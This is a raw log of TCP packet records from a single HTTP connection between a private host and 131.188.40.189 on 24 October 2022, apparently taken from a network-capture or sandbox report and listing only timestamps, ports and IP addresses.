Oct 24, 2022 11:08:54.075915098 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.075923920 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.075932980 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.075944901 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.075953007 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.075970888 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.075989008 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.075988054 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076008081 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076015949 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076028109 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076044083 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076047897 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076067924 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076082945 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076085091 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076103926 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076122999 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076128960 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076141119 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076153040 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076163054 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076180935 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076200008 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076201916 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076221943 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076241016 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076246023 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076261044 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076278925 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076281071 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076299906 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076312065 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076318979 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076334000 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076340914 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076361895 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076375961 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076380968 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076400995 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076407909 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076421022 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076431990 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076441050 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076459885 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076478958 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076478958 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076498985 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076518059 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076522112 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076539040 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076541901 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076558113 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076576948 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076585054 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076597929 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076617002 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076632977 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076634884 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076657057 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076668024 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076674938 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076695919 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076703072 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076714039 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076733112 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076750040 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076767921 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076781988 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076782942 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076785088 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076803923 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076808929 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076828957 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076831102 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076848030 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076865911 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076872110 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076884985 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076904058 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076911926 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076922894 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076931953 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076941967 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076961040 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.076972008 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.076981068 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077002048 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077007055 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.077020884 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077029943 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.077039003 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077058077 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077069044 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.077076912 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077095985 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077112913 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.077116966 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077133894 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.077136993 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077157021 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077174902 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077177048 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.077193022 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077212095 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.077213049 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077231884 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077244043 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.077251911 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077270985 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077281952 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.077290058 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077308893 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077327967 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077330112 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.077346087 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077357054 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.077364922 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077385902 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077404022 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077413082 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.077414036 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.077423096 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077440977 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077450037 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.077461004 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077466965 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.077480078 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077493906 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.077498913 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077505112 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.077518940 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077538013 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077555895 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077560902 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.077574015 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077591896 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077598095 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.077610016 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.077622890 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.077773094 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.097987890 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.098040104 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.098078012 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.098114014 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.098133087 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.098150015 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.098170042 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.098182917 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.098220110 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.098229885 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.098258018 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.098303080 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.121659040 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.142208099 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.142287970 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.142332077 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.142373085 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.142385960 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.142416000 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.142447948 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.142463923 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.142505884 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.142518997 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.142548084 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.142606020 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.142642021 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.142652035 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.142677069 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.142693043 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.142718077 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.142757893 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.142766953 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.142802000 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.142841101 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.142848969 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.142911911 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.142955065 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.142970085 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.142998934 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143043995 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143052101 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.143069029 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143095016 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143121004 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143143892 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.143160105 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143188000 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.143189907 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143217087 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143244028 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143249989 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.143270969 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143296957 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143297911 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.143327951 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143347025 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.143362999 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143393040 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143412113 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.143420935 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143450022 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143466949 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.143476963 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143503904 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143529892 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143548965 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143567085 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.143575907 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143626928 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.143630981 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143644094 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.143661022 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143686056 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143716097 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143718004 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.143742085 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143769026 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143788099 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143790007 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.143812895 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143825054 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.143853903 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143867016 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.143882990 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143908024 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143923998 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.143934011 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143970966 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.143975973 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.143996954 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144021034 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144041061 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.144046068 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144072056 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144083023 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.144098997 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144121885 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144136906 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.144140959 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144160986 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144179106 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144179106 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.144198895 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144217968 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144221067 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.144236088 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144254923 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144273996 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144282103 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.144295931 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144295931 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.144323111 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144337893 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.144346952 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144372940 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144395113 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.144397974 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144424915 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144443989 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.144450903 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144475937 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144493103 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144496918 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.144511938 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144531012 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144535065 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.144550085 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144567966 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144575119 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.144586086 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144606113 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144614935 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.144624949 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144644976 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144649982 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.144661903 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144680977 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144694090 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.144700050 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144721031 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.144726992 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144752026 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144772053 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.144781113 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144805908 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144824982 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144829035 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.144845009 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144861937 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144862890 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.144881010 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144898891 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144901037 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.144917011 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144934893 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144942045 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.144953966 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.144978046 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.144982100 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145015001 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145034075 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145035982 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.145067930 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145072937 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.145087004 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145104885 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145123959 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145127058 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.145144939 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145169020 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.145174026 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145186901 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.145194054 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145215034 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145224094 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.145232916 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145252943 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.145262957 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145281076 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145284891 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.145299911 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145301104 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.145319939 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145322084 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.145339012 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.145339012 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145358086 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.145359993 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145380020 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145381927 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.145395041 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.145399094 CEST	80	49692	131.188.40.189	192.168.2.3
